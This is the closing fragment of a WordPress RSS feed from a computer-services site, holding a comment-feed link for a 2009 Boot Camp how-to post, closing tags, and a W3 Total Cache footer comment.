			<wfw:commentRss>http://www.totalcomputersusa.com/2009/03/boot-camp-a-how-to/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Served from: www.totalcomputersusa.com @ 2012-05-20 01:49:43 -->
